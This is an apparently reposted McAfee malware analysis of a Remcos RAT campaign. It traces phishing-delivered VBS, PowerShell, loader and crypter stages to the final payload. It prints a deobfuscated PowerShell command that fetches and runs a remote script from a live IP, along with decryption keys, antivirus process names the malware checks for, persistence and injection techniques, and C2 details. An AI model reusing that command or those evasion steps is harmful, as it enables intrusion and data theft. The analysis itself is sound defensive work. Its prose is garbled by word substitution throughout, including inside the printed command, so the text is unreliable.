Tuesday, December 12, 2023
HomeCyber SecurityPeeling Again the Layers of RemcosRat Malware

Peeling Again the Layers of RemcosRat Malware


Authored by Preksha Saxena

McAfee labs noticed a Remcos RAT marketing campaign the place malicious VBS information have been delivered through phishing e mail. A phishing e mail contained a ZIP/RAR attachment. Inside this ZIP, was a closely obfuscated VBS file. 

Remcos is a classy RAT which gives an attacker with backdoor entry to the contaminated system and collects a wide range of delicate data. Remcos incorporates totally different obfuscation and anti-debugging strategies to evade detection. It usually updates its options and makes this malware a difficult adversary. 

Execution Move: 

  

Determine 1: Execution Move 

Stage 1: Evaluation of VBS file 

VBS file is downloaded from a RAR file which is known as as “August 2023 Assertion of Account.z” This VBS file used varied strategies to make evaluation very tough; together with a number of commented code, and random strings that masks the true execution chain from being shortly seen. The precise information for execution is obfuscated too. 

Investigating this VBS script began with coping with the big remark blocks as proven in determine under. 

Determine 2:VBS Script 

 One obfuscated string references a URL. The script accommodates a change operate to deobfuscate the correct command line. 

One other a part of VBS script is the execute operate proven in under picture, which merely decodes a faux message. 

“omg!it’s_so_long_:-)you_found_the_secret_message_congrats!!” 

Determine 3:Deobfuscating PowerShell command utilizing change operate. 

 The aim of this VBS script is to obtain a payload utilizing PowerShell. To extend the scale, and make the script obfuscated, feedback have been added. The PowerShell command deobfuscates to: 

“powershell -w 1 -exeC Bypass -c “”[scriptblock]::Create ((Invoke-WebRequest ‘http://212.192.219.52/87656.txt’ -UseBasicParsing).Content material).Invoke();””” 

Stage 2: Evaluation of PowerShell script (87656.txt)  

The downloaded file, 87656.txt, is an obfuscated PowerShell script. 

Determine 4:Obfuscated PowerShell Script 

 The deobfuscation logic first searches for any variable containing “mdR”; on this case the result’s ‘MaximumDriveCount’. From this string, characters at positions [3,11,2] are chosen, ensuing within the string “iex”. Right here malware obfuscates iex(Invoke-Expression) command to evade itself from static detection. 

Determine 5:Resolving IEX 

Then, PowerShell script decodes the info utilizing the Base64String algorithm and decompresses the decoded information utilizing the Deflate Stream algorithm. 

Decompressed information is once more a PowerShell script which is analyzed under. 

Stage 3: Evaluation of decompressed PowerShell script  

The decompressed PowerShell script is massive and obfuscated: 

Determine 6: Decompressed PowerShell script 

The primary a part of the script has the identical logic current within the first PowerShell file. It’s once more decoding invoke-expression “ieX” through the use of the psHome variable. 

Determine 7:Deobfuscating PowerShell script 

The second a part of the PowerShell script accommodates a base64 encoded PE file, which might be analyzed in a later stage. 

Determine 8: Base64 encoded information. 

The third a part of PowerShell script is used to inject the decoded PE file in a newly created course of. After deobfuscation, the code under is used for code injection. “Wintask.exe” is launched as a brand new course of by the PowerShell script and the aforementioned PE file is injected within the Wintask.exe course of. 

 Determine 9: Code used for PE injection. 

Home windows Defender exclusions are added. 

Determine 10: Exclusion code 

Stage 4: Evaluation of decoded PE File  

The 1.1MB PE file is a .NET binary, utilizing an MSIL loader. 

Determine 11: MSIL Loader 

The Essential operate calls the Items operate, which calls a random operate. 

Determine 12:Essential operate 

The random operate accommodates a considerable amount of encrypted information, saved in a textual content variable. 

Determine 13: Encrypted information 

The ‘textual content’ information is first transformed from string to hex array then reversed and saved in variable ‘array’. The decryption secret is hardcoded and saved in variable ‘array4’. The hot button is “0xD7” (215 in decimal). 

Determine 14: code for changing information to uppercase. 

The decryption loop points the RC4 algorithm. The information decrypts a PE file, which is a DLL (Dynamic Hyperlink Library), loaded and executed utilizing the ‘NewLateBinding.LateGet()’ technique, passing the payload file (dGXsvRf.dll) as an argument as proven under. 

To execute the decrypted DLL in reminiscence, the malware makes use of reflecting code loading. On this course of, malware injects and executes the decrypted code in the identical course of. For this, the malware makes use of the load parameter within the ‘NewLateBinding.LateGet()’ operate. 

Determine 15: RC4 algorithm 

Determine 16: New occasion created for decrypted dll 

Stage 5: Evaluation of dGXsvRf.dll 

Decrypted DLL ‘dGXsvRf.dll is the SykCrypter Trojan, utilizing a useful resource named “SYKSBIKO” containing an encrypted payload. 

Determine 17: Encrypted payload 

SykCrypter decrypts the ultimate payload and decrypts many strings associated to figuring out the presence of AV software program, persistence, and anti-debugging strategies. The SykCrypter encrypted information may be very massive and is decrypted utilizing a easy XOR operation with 170 as the important thing and present index.  


Determine 18: SykCryptor Encrypted information 

Every string is decrypted and accessed utilizing a predefined operate which hardcodes its size and offset in a big byte array. The ultimate payload is saved in a useful resource and is decrypted utilizing the RC4 algorithm with the important thing “uQExKBCIDisposablev”. 

Determine 19: RC4 Algorithm 

One other .NET dll with dimension 0x1200 and the tactic title, “Zlas1” is used for deflation. 

Determine 20: Loading DLL for deflation. 

The DLL then decrypts an inventory of assorted safety resolution course of names: 

Determine 21:Code for decrypting Safety processes Names 

The decrypted checklist of course of names embody: 

vsserv bdservicehost odscanui bdagent  

bullgaurd BgScan BullGuardBhvScanner and many others. 

The malware additionally drops acopy of itself within the %appdata% folder utilizing cmd. 

Determine 22: Copying file. 

Persistence: 

To persist system reboots, the malware creates a shortcut file within the Paperwork folder with a.pif extension, and creates a registry Run key entry. 

Determine 23: Persistence Mechanism 

Course of Injection: 

The SykCrypter Dll decrypts and masses a .NET file and calls its “GetDelegateForFunctionPointer” operate, creating delegation to all APIs from kernel32 and NTDll.dll in the identical technique. It masses GetThreadContext, SetThreadContext, ReadProcessMemory, VirtualAllocEx, NtUnmapViewOfSection and so forth. 

Then, lastly it masses “WriteProcessMemory,” API which injects the decrypted payload right into a course of and names ResumeThread. 

Determine 24: Course of Injection 

Stage 6: Evaluation of closing payload 

The ultimate payload is a Microsoft Visible C++ 8 executable with dimension of 477 KB. Strings straight seen in file are: 

Determine 25: Strings in payload 

The configuration file of Remcos is current in RCData “SETTINGS“, which is encrypted with the RC4 algorithm. Within the given pattern, the important thing dimension is 76 byte lengthy. 

Determine 26: RC4 encrypted configuration file 

Decrypted Configuration: 

 Determine 27: Decrypted configuration 

The Remcos configuration has C2 data (172.96.14.18), its port quantity (2404), mutex created by malware (Rmc-OB0RTV) and different configuration particulars. It has the potential to reap data from varied purposes, akin to browsers, e mail shoppers, cryptocurrency wallets and many others. It additionally permits distant entry for an attacker and might act as a dropper for different malware. 

Conclusion: 

RemcosRat is a fancy multi-stage risk. McAfee Labs unpacked the how this malware downloads and executes VBS and PowerShell scripts; how the risk unwraps totally different layers and downloads the ultimate Remcos distant entry payload. At McAfee, we’re dedicated to offering our prospects with strong and efficient risk protection that detects and protects towards threats like RemcosRat and plenty of different households. Our safety software program makes use of a mixture of signature, machine studying, risk intelligence and behavioral-based detection strategies to determine and cease threats to maintain you protected. 

Indicators of Compromise (IOCs):  

SHA256  Filetype 
0b3d65305edc50d3882973e47e9fbf4abc1f04eaecb13021f434eba8adf80b67  VBS 
3ed5729dc3f12a479885e434e0bdb7722f8dd0c0b8b27287111564303b98036c  PowerShell 
1035dbc121b350176c06f72311379b230aaf791b01c7091b45e4c902e9aba3f4  MSIL loader 
32c8993532bc4e1f16e86c70c0fac5d51439556b8dcc6df647a2288bc70b8abf  SykCrypter 
61c72e0dd15ea3de383e908fdb25c6064a5fa84842d4dbf7dc49b9a01be30517  Remcos Payload 

Introducing McAfee+

Identification theft safety and privateness on your digital life





Supply hyperlink

RELATED ARTICLES

LEAVE A REPLY

Please enter your comment!
Please enter your name here

- Advertisment -
Google search engine

Most Popular

Recent Comments